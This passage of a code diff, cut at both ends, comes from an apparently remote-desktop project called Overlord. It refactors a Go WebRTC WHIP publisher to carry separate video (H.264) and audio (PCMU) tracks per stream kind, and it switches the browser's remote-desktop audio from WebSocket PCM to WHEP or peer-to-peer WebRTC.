webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeH264}, + "overlord-video-"+string(kind), "overlord-"+string(kind), + ) + if err != nil { + _ = pc.Close() + return nil, fmt.Errorf("new video track: %w", err) + } + tx, err := pc.AddTransceiverFromTrack(videoTrack, webrtc.RTPTransceiverInit{ + Direction: webrtc.RTPTransceiverDirectionSendonly, + }) + if err != nil { + _ = pc.Close() + return nil, fmt.Errorf("add video transceiver: %w", err) + } + if sender := tx.Sender(); sender != nil { + go drainRTCP(sender) + } } - transceiver, err := pc.AddTransceiverFromTrack(track, webrtc.RTPTransceiverInit{ - Direction: webrtc.RTPTransceiverDirectionSendonly, - }) - if err != nil { - _ = pc.Close() - return nil, fmt.Errorf("add transceiver: %w", err) - } - if sender := transceiver.Sender(); sender != nil { - go drainRTCP(sender) + if opts.HasAudio { + audioTrack, err = webrtc.NewTrackLocalStaticSample( + webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypePCMU, ClockRate: 8000, Channels: 1}, + "overlord-audio-"+string(kind), "overlord-"+string(kind), + ) + if err != nil { + _ = pc.Close() + return nil, fmt.Errorf("new audio track: %w", err) + } + tx, err := pc.AddTransceiverFromTrack(audioTrack, webrtc.RTPTransceiverInit{ + Direction: webrtc.RTPTransceiverDirectionSendonly, + }) + if err != nil { + _ = pc.Close() + return nil, fmt.Errorf("add audio transceiver: %w", err) + } + if sender := tx.Sender(); sender != nil { + go drainRTCP(sender) + } } offer, err := pc.CreateOffer(nil) @@ -148,44 +190,63 @@ func Start(ctx context.Context, opts Options) (*Publisher, error) { } pub := &Publisher{ + kind: kind, pc: pc, resourceURL: resourceURL, token: opts.PublishToken, httpClient: httpClient, } + writerID := whipWriterID(kind) pc.OnConnectionStateChange(func(state webrtc.PeerConnectionState) { - log.Printf("webrtcpub: WHIP peer state=%s", state) + log.Printf("webrtcpub: WHIP[%s] peer state=%s", kind, state) switch state { case webrtc.PeerConnectionStateFailed, webrtc.PeerConnectionStateClosed: whipMu.Lock() - if whip == pub { - whip = nil + if whipByKind[kind] == pub { + delete(whipByKind, kind) } whipMu.Unlock() - unregisterWriter(whipWriterID) + unregisterWriter(kind, writerID) } }) whipMu.Lock() - whip = pub + whipByKind[kind] = pub whipMu.Unlock() - registerWriter(whipWriterID, &trackWriter{t: track}) - log.Printf("webrtcpub: WHIP session established (resource=%s)", resourceURL) + if videoTrack != nil { + registerVideoWriter(kind, writerID, &h264TrackWriter{t: videoTrack}) + } + if audioTrack != nil { + registerAudioWriter(kind, writerID, newPCMUAudioWriter(audioTrack)) + } + log.Printf("webrtcpub: WHIP[%s] session established (resource=%s)", kind, resourceURL) return pub, nil } -func Stop() { +func Stop(kind Kind) { whipMu.Lock() - p := whip - whip = nil + p := whipByKind[kind] + delete(whipByKind, kind) whipMu.Unlock() - unregisterWriter(whipWriterID) + unregisterWriter(kind, whipWriterID(kind)) if p != nil { p.Close() } } +func StopAll() { + whipMu.Lock() + kinds := make([]Kind, 0, len(whipByKind)) + for k := range whipByKind { + kinds = append(kinds, k) + } + whipMu.Unlock() + for _, k := range kinds { + Stop(k) + } +} + func (p *Publisher) Close() { p.closeOnce.Do(func() { if p.resourceURL != "" { @@ -205,6 +266,10 @@ func (p *Publisher) Close() { }) } +func whipWriterID(kind Kind) string { + return "whip:" + string(kind) +} + func postWhip(ctx context.Context, client *http.Client, whipURL, token, sdp string) (string, string, error) { req, err := http.NewRequestWithContext(ctx, http.MethodPost, whipURL, strings.NewReader(sdp)) if err != nil { diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index 17d360e..866280f 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -290,12 +290,14 @@ type DisconnectInfo struct { type WebRTCP2PAnswer struct { Type string `msgpack:"type"` SessionID string `msgpack:"sessionId"` + Kind string `msgpack:"kind,omitempty"` SDP string `msgpack:"sdp"` } type WebRTCP2PIce struct { Type string `msgpack:"type"` SessionID string `msgpack:"sessionId"` + Kind string `msgpack:"kind,omitempty"` Candidate string `msgpack:"candidate"` SDPMid string `msgpack:"sdpMid"` SDPMLineIndex uint16 `msgpack:"sdpMLineIndex"` diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js index a2c02d4..221fa98 100644 --- a/Overlord-Server/public/assets/remotedesktop.js +++ b/Overlord-Server/public/assets/remotedesktop.js @@ -183,33 +183,124 @@ import { P2PClient } from "./webrtc-p2p.js"; } } - function connectAudio() { - if (audioWs && audioWs.readyState === WebSocket.OPEN) return; - // Create AudioContext in click/change handler so the browser trusts the user gesture. - initAudioPlayback(); - if (audioPlayCtx?.state === "suspended") audioPlayCtx.resume(); - const proto = location.protocol === "https:" ? "wss:" : "ws:"; - audioWs = new WebSocket(proto + "//" + location.host + "/api/clients/" + encodeURIComponent(clientId) + "/desktop-audio/ws"); - audioWs.binaryType = "arraybuffer"; - audioWs.onopen = function () { - audioWs.send(JSON.stringify({ type: "start", source: "system" })); - }; - audioWs.onmessage = function (ev) { - if (typeof ev.data === "string") return; - const bytes = new Uint8Array(ev.data); - if (bytes.byteLength > 1) appendAudioPcm(bytes); - }; - audioWs.onclose = function () { cleanupAudio(false); }; - audioWs.onerror = function () {}; + const audioTransport = document.getElementById("audioTransport"); + const webrtcAudio = document.getElementById("webrtcAudio"); + let audioWhep = null; + let audioP2P = null; + function getAudioTransport() { + return audioTransport ? String(audioTransport.value || "off") : "off"; } - function disconnectAudio() { + async function stopAudioWebrtc() { + const w = audioWhep; + audioWhep = null; + if (w) { try { await w.stop(); } catch {} } + const p = audioP2P; + audioP2P = null; + if (p) { try { await p.stop(); } catch {} } + } + + async function startAudioWhep(whepPath) { + await stopAudioWebrtc(); + audioWhep = new WhepClient({ + whepPath, + audioEl: webrtcAudio, + onState: (s) => console.debug("audio-webrtc[Relayed]: state", s), + }); + try { + await audioWhep.start(); + } catch (err) { + console.warn("audio: WHEP start failed", err); + audioWhep = null; + } + } + + function startAudioP2P() { + if (!audioWs || audioWs.readyState !== WebSocket.OPEN) return; + audioP2P = new P2PClient({ + audioEl: webrtcAudio, + send: (msg) => { + if (audioWs && audioWs.readyState === WebSocket.OPEN) { + audioWs.send(JSON.stringify(msg)); + } + }, + onState: (s) => console.debug("audio-webrtc[P2P]: state", s), + }); + audioP2P.start().catch((err) => { + console.warn("audio: P2P start failed", err); + audioP2P = null; + }); + } + + function connectAudio() { + if (audioWs && audioWs.readyState === WebSocket.OPEN) return; + const mode = getAudioTransport(); + // The WS-PCM path requires an AudioContext — only init it when we + // actually need it (WebRTC plays through the